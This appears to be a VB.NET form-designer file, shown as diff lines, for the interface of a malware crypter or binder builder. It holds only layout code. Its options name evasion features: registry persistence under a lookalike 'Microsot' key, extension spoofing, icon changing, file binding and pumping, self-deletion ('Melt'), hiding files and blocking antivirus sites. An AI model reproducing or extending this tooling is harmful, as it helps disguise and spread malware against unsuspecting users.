= New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown21 = New System.Windows.Forms.NumericUpDown() + Me.TextBox23 = New System.Windows.Forms.TextBox() + Me.TextBox25 = New System.Windows.Forms.TextBox() + Me.TextBox24 = New System.Windows.Forms.TextBox() + Me.Timer3 = New System.Windows.Forms.Timer(Me.components) + Me.ProgressBar1 = New System.Windows.Forms.ProgressBar() + Me.Timer4 = New System.Windows.Forms.Timer(Me.components) + Me.GroupBox1.SuspendLayout() + Me.GroupBox5.SuspendLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit() + Me.GroupBox2.SuspendLayout() + Me.GroupBox3.SuspendLayout() + Me.GroupBox4.SuspendLayout() + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.GroupBox6.SuspendLayout() + CType(Me.NumericUpDown24, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown23, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown25, System.ComponentModel.ISupportInitialize).BeginInit() + Me.TabControl1.SuspendLayout() + Me.TabPage1.SuspendLayout() + Me.TabPage2.SuspendLayout() + Me.GroupBox8.SuspendLayout() + Me.TabPage3.SuspendLayout() + Me.TabPage4.SuspendLayout() + CType(Me.NumericUpDown26, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown27, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown22, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown20, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown21, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(4, 226) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(350, 24) + Me.Button1.TabIndex = 0 + Me.Button1.Text = "Build" + Me.Button1.UseVisualStyleBackColor = True + ' + 'TextBox1 + ' + Me.TextBox1.BackColor = System.Drawing.Color.White + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.Location = New System.Drawing.Point(5, 19) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ReadOnly = True + Me.TextBox1.Size = New System.Drawing.Size(277, 20) + Me.TextBox1.TabIndex = 2 + Me.TextBox1.Text = "[ Server To Protect Path ]" + ' + 'Button2 + ' + Me.Button2.Location = New System.Drawing.Point(288, 16) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(48, 23) + Me.Button2.TabIndex = 3 + Me.Button2.Text = ". . . . . ." + Me.Button2.UseVisualStyleBackColor = True + ' + 'GroupBox1 + ' + Me.GroupBox1.Controls.Add(Me.CheckBox11) + Me.GroupBox1.Controls.Add(Me.Label13) + Me.GroupBox1.Controls.Add(Me.TextBox4) + Me.GroupBox1.Controls.Add(Me.copyser) + Me.GroupBox1.Controls.Add(Me.Label11) + Me.GroupBox1.Controls.Add(Me.TextBox7) + Me.GroupBox1.Controls.Add(Me.CheckBox7) + Me.GroupBox1.Controls.Add(Me.Label4) + Me.GroupBox1.Controls.Add(Me.Label2) + Me.GroupBox1.Controls.Add(Me.TextBox2) + Me.GroupBox1.Controls.Add(Me.servpath) + Me.GroupBox1.Controls.Add(Me.GroupBox5) + Me.GroupBox1.Controls.Add(Me.TextBox1) + Me.GroupBox1.Controls.Add(Me.Button2) + Me.GroupBox1.Location = New System.Drawing.Point(8, 6) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(339, 168) + Me.GroupBox1.TabIndex = 5 + Me.GroupBox1.TabStop = False + Me.GroupBox1.Text = "Main Setting" + ' + 'CheckBox11 + ' + Me.CheckBox11.AutoSize = True + Me.CheckBox11.Location = New System.Drawing.Point(6, 96) + Me.CheckBox11.Name = "CheckBox11" + Me.CheckBox11.Size = New System.Drawing.Size(102, 17) + Me.CheckBox11.TabIndex = 46 + Me.CheckBox11.Text = "Delay Execute :" + Me.CheckBox11.UseVisualStyleBackColor = True + ' + 'Label13 + ' + Me.Label13.AutoSize = True + Me.Label13.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label13.Location = New System.Drawing.Point(188, 99) + Me.Label13.Name = "Label13" + Me.Label13.Size = New System.Drawing.Size(59, 11) + Me.Label13.TabIndex = 45 + Me.Label13.Text = "1 = second" + ' + 'TextBox4 + ' + Me.TextBox4.Location = New System.Drawing.Point(114, 96) + Me.TextBox4.Multiline = True + Me.TextBox4.Name = "TextBox4" + Me.TextBox4.Size = New System.Drawing.Size(68, 17) + Me.TextBox4.TabIndex = 44 + ' + 'copyser + ' + Me.copyser.AutoSize = True + Me.copyser.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.copyser.ForeColor = System.Drawing.SystemColors.ControlText + Me.copyser.Location = New System.Drawing.Point(5, 50) + Me.copyser.Name = "copyser" + Me.copyser.Size = New System.Drawing.Size(48, 17) + Me.copyser.TabIndex = 42 + Me.copyser.Text = "Copy" + Me.copyser.UseVisualStyleBackColor = True + ' + 'Label11 + ' + Me.Label11.AutoSize = True + Me.Label11.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label11.Location = New System.Drawing.Point(86, 77) + Me.Label11.Name = "Label11" + Me.Label11.Size = New System.Drawing.Size(48, 11) + Me.Label11.TabIndex = 41 + Me.Label11.Text = "SubKey :" + ' + 'TextBox7 + ' + Me.TextBox7.Location = New System.Drawing.Point(134, 73) + Me.TextBox7.Multiline = True + Me.TextBox7.Name = "TextBox7" + Me.TextBox7.Size = New System.Drawing.Size(75, 17) + Me.TextBox7.TabIndex = 40 + Me.TextBox7.Text = "Microsot" + ' + 'CheckBox7 + ' + Me.CheckBox7.AutoSize = True + Me.CheckBox7.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox7.ForeColor = System.Drawing.SystemColors.ControlText + Me.CheckBox7.Location = New System.Drawing.Point(6, 73) + Me.CheckBox7.Name = "CheckBox7" + Me.CheckBox7.Size = New System.Drawing.Size(77, 17) + Me.CheckBox7.TabIndex = 39 + Me.CheckBox7.Text = "Add to Reg" + Me.CheckBox7.UseVisualStyleBackColor = True + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label4.Location = New System.Drawing.Point(59, 56) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(69, 11) + Me.Label4.TabIndex = 38 + Me.Label4.Text = "Install Path :" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label2.Location = New System.Drawing.Point(215, 54) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(47, 11) + Me.Label2.TabIndex = 34 + Me.Label2.Text = "Run as :" + ' + 'TextBox2 + ' + Me.TextBox2.Location = New System.Drawing.Point(268, 50) + Me.TextBox2.Multiline = True + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.Size = New System.Drawing.Size(69, 17) + Me.TextBox2.TabIndex = 33 + Me.TextBox2.Text = "Server.exe" + ' + 'servpath + ' + Me.servpath.FormattingEnabled = True + Me.servpath.Items.AddRange(New Object() {"Temp", "AppData", "UserProfile", "ProgramData"}) + Me.servpath.Location = New System.Drawing.Point(134, 50) + Me.servpath.Name = "servpath" + Me.servpath.Size = New System.Drawing.Size(75, 21) + Me.servpath.TabIndex = 32 + Me.servpath.Text = "Temp" + ' + 'GroupBox5 + ' + Me.GroupBox5.Controls.Add(Me.PictureBox2) + Me.GroupBox5.Controls.Add(Me.icotxt) + Me.GroupBox5.Controls.Add(Me.CheckBox4) + Me.GroupBox5.Controls.Add(Me.Button5) + Me.GroupBox5.ForeColor = System.Drawing.Color.Black + Me.GroupBox5.Location = New System.Drawing.Point(16, 116) + Me.GroupBox5.Name = "GroupBox5" + Me.GroupBox5.Size = New System.Drawing.Size(305, 46) + Me.GroupBox5.TabIndex = 19 + Me.GroupBox5.TabStop = False + ' + 'PictureBox2 + ' + Me.PictureBox2.Location = New System.Drawing.Point(4, 14) + Me.PictureBox2.Name = "PictureBox2" + Me.PictureBox2.Size = New System.Drawing.Size(32, 26) + Me.PictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage + Me.PictureBox2.TabIndex = 21 + Me.PictureBox2.TabStop = False + ' + 'icotxt + ' + Me.icotxt.BackColor = System.Drawing.Color.White + Me.icotxt.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.icotxt.Location = New System.Drawing.Point(39, 19) + Me.icotxt.Name = "icotxt" + Me.icotxt.ReadOnly = True + Me.icotxt.Size = New System.Drawing.Size(208, 20) + Me.icotxt.TabIndex = 17 + Me.icotxt.Text = "[ Icon To Change Path ]" + ' + 'CheckBox4 + ' + Me.CheckBox4.AutoSize = True + Me.CheckBox4.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox4.ForeColor = System.Drawing.SystemColors.ControlText + Me.CheckBox4.Location = New System.Drawing.Point(6, -3) + Me.CheckBox4.Name = "CheckBox4" + Me.CheckBox4.Size = New System.Drawing.Size(123, 17) + Me.CheckBox4.TabIndex = 20 + Me.CheckBox4.Text = "Enable Icon Changer" + Me.CheckBox4.UseVisualStyleBackColor = True + ' + 'Button5 + ' + Me.Button5.Location = New System.Drawing.Point(253, 17) + Me.Button5.Name = "Button5" + Me.Button5.Size = New System.Drawing.Size(48, 20) + Me.Button5.TabIndex = 16 + Me.Button5.Text = ". . . . . ." + Me.Button5.UseVisualStyleBackColor = True + ' + 'GroupBox2 + ' + Me.GroupBox2.Controls.Add(Me.CheckBox14) + Me.GroupBox2.Controls.Add(Me.Label8) + Me.GroupBox2.Controls.Add(Me.TextBox3) + Me.GroupBox2.Controls.Add(Me.Label5) + Me.GroupBox2.Controls.Add(Me.Label3) + Me.GroupBox2.Controls.Add(Me.bindpath) + Me.GroupBox2.Controls.Add(Me.Label12) + Me.GroupBox2.Controls.Add(Me.TextBox8) + Me.GroupBox2.Controls.Add(Me.CheckBox1) + Me.GroupBox2.Controls.Add(Me.TextBox6) + Me.GroupBox2.Controls.Add(Me.Button7) + Me.GroupBox2.Location = New System.Drawing.Point(24, 6) + Me.GroupBox2.Name = "GroupBox2" + Me.GroupBox2.Size = New System.Drawing.Size(303, 112) + Me.GroupBox2.TabIndex = 6 + Me.GroupBox2.TabStop = False + ' + 'CheckBox14 + ' + Me.CheckBox14.AutoSize = True + Me.CheckBox14.Location = New System.Drawing.Point(6, 92) + Me.CheckBox14.Name = "CheckBox14" + Me.CheckBox14.Size = New System.Drawing.Size(102, 17) + Me.CheckBox14.TabIndex = 47 + Me.CheckBox14.Text = "Delay Execute :" + Me.CheckBox14.UseVisualStyleBackColor = True + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label8.Location = New System.Drawing.Point(188, 95) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(59, 11) + Me.Label8.TabIndex = 41 + Me.Label8.Text = "1 = second" + ' + 'TextBox3 + ' + Me.TextBox3.Location = New System.Drawing.Point(114, 92) + Me.TextBox3.Multiline = True + Me.TextBox3.Name = "TextBox3" + Me.TextBox3.Size = New System.Drawing.Size(68, 17) + Me.TextBox3.TabIndex = 40 + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label5.Location = New System.Drawing.Point(103, 6) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(144, 11) + Me.Label5.TabIndex = 38 + Me.Label5.Text = "Acceptable Size Under 8 Mb" + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label3.Location = New System.Drawing.Point(4, 67) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(69, 11) + Me.Label3.TabIndex = 37 + Me.Label3.Text = "Install Path :" + ' + 'bindpath + ' + Me.bindpath.FormattingEnabled = True + Me.bindpath.Items.AddRange(New Object() {"Temp", "AppData", "UserProfile", "ProgramData"}) + Me.bindpath.Location = New System.Drawing.Point(79, 62) + Me.bindpath.Name = "bindpath" + Me.bindpath.Size = New System.Drawing.Size(80, 21) + Me.bindpath.TabIndex = 36 + Me.bindpath.Text = "Temp" + ' + 'Label12 + ' + Me.Label12.AutoSize = True + Me.Label12.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label12.Location = New System.Drawing.Point(168, 67) + Me.Label12.Name = "Label12" + Me.Label12.Size = New System.Drawing.Size(47, 11) + Me.Label12.TabIndex = 30 + Me.Label12.Text = "Run as :" + ' + 'TextBox8 + ' + Me.TextBox8.Location = New System.Drawing.Point(221, 64) + Me.TextBox8.Multiline = True + Me.TextBox8.Name = "TextBox8" + Me.TextBox8.Size = New System.Drawing.Size(76, 17) + Me.TextBox8.TabIndex = 29 + Me.TextBox8.Text = "Bind.exe" + ' + 'CheckBox1 + ' + Me.CheckBox1.AutoSize = True + Me.CheckBox1.Location = New System.Drawing.Point(6, 0) + Me.CheckBox1.Name = "CheckBox1" + Me.CheckBox1.Size = New System.Drawing.Size(91, 17) + Me.CheckBox1.TabIndex = 4 + Me.CheckBox1.Text = "Enable Binder" + Me.CheckBox1.UseVisualStyleBackColor = True + ' + 'TextBox6 + ' + Me.TextBox6.BackColor = System.Drawing.Color.White + Me.TextBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox6.Location = New System.Drawing.Point(8, 23) + Me.TextBox6.Name = "TextBox6" + Me.TextBox6.ReadOnly = True + Me.TextBox6.Size = New System.Drawing.Size(239, 20) + Me.TextBox6.TabIndex = 2 + Me.TextBox6.Text = "[ File To Bind Path ]" + ' + 'Button7 + ' + Me.Button7.Location = New System.Drawing.Point(249, 19) + Me.Button7.Name = "Button7" + Me.Button7.Size = New System.Drawing.Size(48, 23) + Me.Button7.TabIndex = 3 + Me.Button7.Text = ". . . . . ." + Me.Button7.UseVisualStyleBackColor = True + ' + 'CheckBox2 + ' + Me.CheckBox2.AutoSize = True + Me.CheckBox2.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox2.ForeColor = System.Drawing.SystemColors.ControlText + Me.CheckBox2.Location = New System.Drawing.Point(6, 54) + Me.CheckBox2.Name = "CheckBox2" + Me.CheckBox2.Size = New System.Drawing.Size(101, 17) + Me.CheckBox2.TabIndex = 21 + Me.CheckBox2.Text = "Use Eof Support" + Me.CheckBox2.UseVisualStyleBackColor = True + ' + 'CheckBox3 + ' + Me.CheckBox3.AutoSize = True + Me.CheckBox3.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox3.ForeColor = System.Drawing.SystemColors.ControlText + Me.CheckBox3.Location = New System.Drawing.Point(68, 33) + Me.CheckBox3.Name = "CheckBox3" + Me.CheckBox3.Size = New System.Drawing.Size(43, 17) + Me.CheckBox3.TabIndex = 22 + Me.CheckBox3.Text = "Melt" + Me.CheckBox3.UseVisualStyleBackColor = True + ' + 'CheckBox10 + ' + Me.CheckBox10.AutoSize = True + Me.CheckBox10.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox10.ForeColor = System.Drawing.SystemColors.Desktop + Me.CheckBox10.Location = New System.Drawing.Point(6, 0) + Me.CheckBox10.Name = "CheckBox10" + Me.CheckBox10.Size = New System.Drawing.Size(78, 17) + Me.CheckBox10.TabIndex = 1 + Me.CheckBox10.Text = "File Pumper" + Me.CheckBox10.UseVisualStyleBackColor = True + ' + 'Label9 + ' + Me.Label9.AutoSize = True + Me.Label9.ForeColor = System.Drawing.SystemColors.Desktop + Me.Label9.Location = New System.Drawing.Point(21, 19) + Me.Label9.Name = "Label9" + Me.Label9.Size = New System.Drawing.Size(60, 13) + Me.Label9.TabIndex = 23 + Me.Label9.Text = "Extention :" + ' + 'GroupBox3 + ' + Me.GroupBox3.Controls.Add(Me.Label9) + Me.GroupBox3.Controls.Add(Me.CheckBox8) + Me.GroupBox3.Controls.Add(Me.spoofbox) + Me.GroupBox3.Location = New System.Drawing.Point(218, 86) + Me.GroupBox3.Name = "GroupBox3" + Me.GroupBox3.Size = New System.Drawing.Size(114, 65) + Me.GroupBox3.TabIndex = 25 + Me.GroupBox3.TabStop = False + ' + 'CheckBox8 + ' + Me.CheckBox8.AutoSize = True + Me.CheckBox8.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox8.ForeColor = System.Drawing.SystemColors.Desktop + Me.CheckBox8.Location = New System.Drawing.Point(6, 1) + Me.CheckBox8.Name = "CheckBox8" + Me.CheckBox8.Size = New System.Drawing.Size(100, 17) + Me.CheckBox8.TabIndex = 0 + Me.CheckBox8.Text = "Spoof Extention" + Me.CheckBox8.UseVisualStyleBackColor = True + ' + 'spoofbox + ' + Me.spoofbox.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.spoofbox.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.spoofbox.ForeColor = System.Drawing.Color.Black + Me.spoofbox.FormattingEnabled = True + Me.spoofbox.Items.AddRange(New Object() {"jpg", "png", "bmb", "gif", "img", "torrent", "avi", "mp3", "mp4", "mov", "rar", "zip", "txt", "dll", "pif", "com", "rtf", "bat", "ocx", "scr", "php", "html"}) + Me.spoofbox.Location = New System.Drawing.Point(25, 36) + Me.spoofbox.Name = "spoofbox" + Me.spoofbox.Size = New System.Drawing.Size(75, 21) + Me.spoofbox.TabIndex = 16 + Me.spoofbox.Text = "jpg" + ' + 'GroupBox4 + ' + Me.GroupBox4.Controls.Add(Me.Label7) + Me.GroupBox4.Controls.Add(Me.CheckBox10) + Me.GroupBox4.Controls.Add(Me.RadioButton4) + Me.GroupBox4.Controls.Add(Me.NumericUpDown1) + Me.GroupBox4.Controls.Add(Me.RadioButton3) + Me.GroupBox4.Controls.Add(Me.RadioButton1) + Me.GroupBox4.Controls.Add(Me.RadioButton2) + Me.GroupBox4.ForeColor = System.Drawing.SystemColors.GrayText + Me.GroupBox4.Location = New System.Drawing.Point(28, 86) + Me.GroupBox4.Name = "GroupBox4" + Me.GroupBox4.Size = New System.Drawing.Size(182, 64) + Me.GroupBox4.TabIndex = 24 + Me.GroupBox4.TabStop = False + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.ForeColor = System.Drawing.SystemColors.Desktop + Me.Label7.Location = New System.Drawing.Point(10, 20) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(80, 13) + Me.Label7.TabIndex = 22 + Me.Label7.Text = "Size of Values :" + ' + 'RadioButton4 + ' + Me.RadioButton4.AutoSize = True + Me.RadioButton4.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.RadioButton4.ForeColor = System.Drawing.SystemColors.Desktop + Me.RadioButton4.Location = New System.Drawing.Point(146, 41) + Me.RadioButton4.Name = "RadioButton4" + Me.RadioButton4.Size = New System.Drawing.Size(36, 17) + Me.RadioButton4.TabIndex = 21 + Me.RadioButton4.TabStop = True + Me.RadioButton4.Text = "TB" + Me.RadioButton4.UseVisualStyleBackColor = True + ' + 'NumericUpDown1 + ' + Me.NumericUpDown1.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.NumericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.NumericUpDown1.ForeColor = System.Drawing.Color.Black + Me.NumericUpDown1.Location = New System.Drawing.Point(96, 18) + Me.NumericUpDown1.Name = "NumericUpDown1" + Me.NumericUpDown1.Size = New System.Drawing.Size(77, 20) + Me.NumericUpDown1.TabIndex = 17 + Me.NumericUpDown1.Value = New Decimal(New Integer() {1, 0, 0, 0}) + ' + 'RadioButton3 + ' + Me.RadioButton3.AutoSize = True + Me.RadioButton3.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.RadioButton3.ForeColor = System.Drawing.SystemColors.Desktop + Me.RadioButton3.Location = New System.Drawing.Point(96, 41) + Me.RadioButton3.Name = "RadioButton3" + Me.RadioButton3.Size = New System.Drawing.Size(37, 17) + Me.RadioButton3.TabIndex = 20 + Me.RadioButton3.TabStop = True + Me.RadioButton3.Text = "GB" + Me.RadioButton3.UseVisualStyleBackColor = True + ' + 'RadioButton1 + ' + Me.RadioButton1.AutoSize = True + Me.RadioButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.RadioButton1.ForeColor = System.Drawing.SystemColors.Desktop + Me.RadioButton1.Location = New System.Drawing.Point(6, 41) + Me.RadioButton1.Name = "RadioButton1" + Me.RadioButton1.Size = New System.Drawing.Size(36, 17) + Me.RadioButton1.TabIndex = 18 + Me.RadioButton1.TabStop = True + Me.RadioButton1.Text = "KB" + Me.RadioButton1.UseVisualStyleBackColor = True + ' + 'RadioButton2 + ' + Me.RadioButton2.AutoSize = True + Me.RadioButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.RadioButton2.ForeColor = System.Drawing.SystemColors.Desktop + Me.RadioButton2.Location = New System.Drawing.Point(52, 41) + Me.RadioButton2.Name = "RadioButton2" + Me.RadioButton2.Size = New System.Drawing.Size(38, 17) + Me.RadioButton2.TabIndex = 19 + Me.RadioButton2.TabStop = True + Me.RadioButton2.Text = "MB" + Me.RadioButton2.UseVisualStyleBackColor = True + ' + 'GroupBox6 + ' + Me.GroupBox6.Controls.Add(Me.CheckBox6) + Me.GroupBox6.Controls.Add(Me.CheckBox13) + Me.GroupBox6.Controls.Add(Me.CheckBox5) + Me.GroupBox6.Controls.Add(Me.Label1) + Me.GroupBox6.Controls.Add(Me.CheckBox3) + Me.GroupBox6.Controls.Add(Me.CheckBox2) + Me.GroupBox6.Location = New System.Drawing.Point(28, 3) + Me.GroupBox6.Name = "GroupBox6" + Me.GroupBox6.Size = New System.Drawing.Size(304, 77) + Me.GroupBox6.TabIndex = 26 + Me.GroupBox6.TabStop = False + Me.GroupBox6.Text = "Extra Setting" + ' + 'CheckBox6 + ' + Me.CheckBox6.AutoSize = True + Me.CheckBox6.Location = New System.Drawing.Point(212, 34) + Me.CheckBox6.Name = "CheckBox6" + Me.CheckBox6.Size = New System.Drawing.Size(91, 17) + Me.CheckBox6.TabIndex = 44 + Me.CheckBox6.Text = "Kill Resources" + Me.CheckBox6.UseVisualStyleBackColor = True + ' + 'CheckBox13 + ' + Me.CheckBox13.AutoSize = True + Me.CheckBox13.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox13.ForeColor = System.Drawing.SystemColors.ControlText + Me.CheckBox13.Location = New System.Drawing.Point(6, 33) + Me.CheckBox13.Name = "CheckBox13" + Me.CheckBox13.Size = New System.Drawing.Size(60, 17) + Me.CheckBox13.TabIndex = 29 + Me.CheckBox13.Text = "HideFile" + Me.CheckBox13.UseVisualStyleBackColor = True + ' + 'CheckBox5 + ' + Me.CheckBox5.AutoSize = True + Me.CheckBox5.FlatStyle = System.Windows.Forms.FlatStyle.Flat + Me.CheckBox5.ForeColor = System.Drawing.SystemColors.ControlText + Me.CheckBox5.Location = New System.Drawing.Point(117, 33) + Me.CheckBox5.Name = "CheckBox5" + Me.CheckBox5.Size = New System.Drawing.Size(89, 17) + Me.CheckBox5.TabIndex = 25 + Me.CheckBox5.Text = "Block AV Sites" + Me.CheckBox5.UseVisualStyleBackColor = True + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Font = New System.Drawing.Font("Tahoma", 6.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label1.Location = New System.Drawing.Point(125, 58) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(59, 11) + Me.Label1.TabIndex = 24 + Me.Label1.Text = "EOF Status" + ' + 'NumericUpDown24 + ' + Me.NumericUpDown24.Location = New System.Drawing.Point(80, 134) + Me.NumericUpDown24.Name = "NumericUpDown24" + Me.NumericUpDown24.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown24.TabIndex = 29 + ' + 'NumericUpDown23 + ' + Me.NumericUpDown23.Location = New System.Drawing.Point(224, 103) + Me.NumericUpDown23.Name = "NumericUpDown23" + Me.NumericUpDown23.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown23.TabIndex = 28 + ' + 'NumericUpDown25 + ' + Me.NumericUpDown25.Location = New System.Drawing.Point(130, 134) + Me.NumericUpDown25.Name = "NumericUpDown25" + Me.NumericUpDown25.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown25.TabIndex = 27 + ' + 'TextBox20 + ' + Me.TextBox20.BackColor = System.Drawing.Color.White + Me.TextBox20.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox20.Location = New System.Drawing.Point(76, 26) + Me.TextBox20.Name = "TextBox20" + Me.TextBox20.ReadOnly = True + Me.TextBox20.Size = New System.Drawing.Size(86, 20) + Me.TextBox20.TabIndex = 31 + Me.TextBox20.Text = "Title" + ' + 'TextBox21 + ' + Me.TextBox21.BackColor = System.Drawing.Color.White + Me.TextBox21.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox21.Location = New System.Drawing.Point(76, 52) + Me.TextBox21.Name = "TextBox21" + Me.TextBox21.ReadOnly = True + Me.TextBox21.Size = New System.Drawing.Size(87, 20) + Me.TextBox21.TabIndex = 32 + Me.TextBox21.Text = "Description " + ' + 'Button6 + ' + Me.Button6.Location = New System.Drawing.Point(295, 155) + Me.Button6.Name = "Button6" + Me.Button6.Size = New System.Drawing.Size(49, 20) + Me.Button6.TabIndex = 33 + Me.Button6.Text = "Gen" + Me.Button6.UseVisualStyleBackColor = True + ' + 'TextBox22 + ' + Me.TextBox22.BackColor = System.Drawing.Color.White + Me.TextBox22.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox22.Location = New System.Drawing.Point(76, 78) + Me.TextBox22.Name = "TextBox22" + Me.TextBox22.ReadOnly = True + Me.TextBox22.Size = New System.Drawing.Size(86, 20) + Me.TextBox22.TabIndex = 34 + Me.TextBox22.Text = "Company " + ' + 'TabControl1 + ' + Me.TabControl1.Appearance = System.Windows.Forms.TabAppearance.FlatButtons + Me.TabControl1.Controls.Add(Me.TabPage1) + Me.TabControl1.Controls.Add(Me.TabPage2) + Me.TabControl1.Controls.Add(Me.TabPage3) + Me.TabControl1.Controls.Add(Me.TabPage4) + Me.TabControl1.Dock = System.Windows.Forms.DockStyle.Top + Me.TabControl1.Location = New System.Drawing.Point(0, 0) + Me.TabControl1.Name = "TabControl1" + Me.TabControl1.SelectedIndex = 0 + Me.TabControl1.Size = New System.Drawing.Size(358, 209) + Me.TabControl1.TabIndex = 35 + ' + 'TabPage1 + ' + Me.TabPage1.Controls.Add(Me.GroupBox1) + Me.TabPage1.Location = New System.Drawing.Point(4, 25) + Me.TabPage1.Name = "TabPage1" + Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage1.Size = New System.Drawing.Size(350, 180) + Me.TabPage1.TabIndex = 0 + Me.TabPage1.Text = "Main Setting" + Me.TabPage1.UseVisualStyleBackColor = True + ' + 'TabPage2 + ' + Me.TabPage2.Controls.Add(Me.GroupBox8) + Me.TabPage2.Controls.Add(Me.GroupBox2) + Me.TabPage2.Location = New System.Drawing.Point(4, 25) + Me.TabPage2.Name = "TabPage2" + Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage2.Size = New System.Drawing.Size(350, 180) + Me.TabPage2.TabIndex = 1 + Me.TabPage2.Text = "Binder/Icon/Cloner" + Me.TabPage2.UseVisualStyleBackColor = True + ' + 'GroupBox8 + ' + Me.GroupBox8.Controls.Add(Me.CheckBox12) + Me.GroupBox8.Controls.Add(Me.TextBox5) + Me.GroupBox8.Controls.Add(Me.Button8) + Me.GroupBox8.Location = New System.Drawing.Point(24, 124) + Me.GroupBox8.Name = "GroupBox8" + Me.GroupBox8.Size = New System.Drawing.Size(303, 50) + Me.GroupBox8.TabIndex = 20 + Me.GroupBox8.TabStop = False + ' + 'CheckBox12 + ' + Me.CheckBox12.AutoSize = True + Me.CheckBox12.Location = New System.Drawing.Point(6, 0) + Me.CheckBox12.Name = "CheckBox12" + Me.CheckBox12.Size = New System.Drawing.Size(92, 17) + Me.CheckBox12.TabIndex = 4 + Me.CheckBox12.Text = "Enable Cloner" + Me.CheckBox12.UseVisualStyleBackColor = True + ' + 'TextBox5 + ' + Me.TextBox5.BackColor = System.Drawing.Color.White + Me.TextBox5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox5.Location = New System.Drawing.Point(4, 18) + Me.TextBox5.Name = "TextBox5" + Me.TextBox5.ReadOnly = True + Me.TextBox5.Size = New 